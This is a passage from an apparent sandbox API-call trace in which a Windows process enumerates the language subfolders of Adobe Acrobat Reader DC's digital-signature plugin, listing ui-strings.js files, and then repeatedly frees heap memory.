dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0277.151] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.151] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.151] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.151] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0277.152] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.152] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0277.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sl-sl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0277.152] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.152] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.152] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0277.152] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.152] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0277.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0277.153] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.153] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.153] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.153] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0277.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.153] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0277.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\tr-tr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0277.154] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.154] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.154] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.154] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0277.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.154] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.154] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0277.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\uk-ua\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0277.155] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.155] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.155] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.155] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0277.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.155] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0277.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\zh-cn\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0277.155] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.155] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x221d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.156] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x221d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.156] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0277.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.156] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0277.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.185] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\zh-tw\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.185] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0277.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0277.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0277.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0278.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0279.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0279.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0279.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0281.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0281.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.350] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: 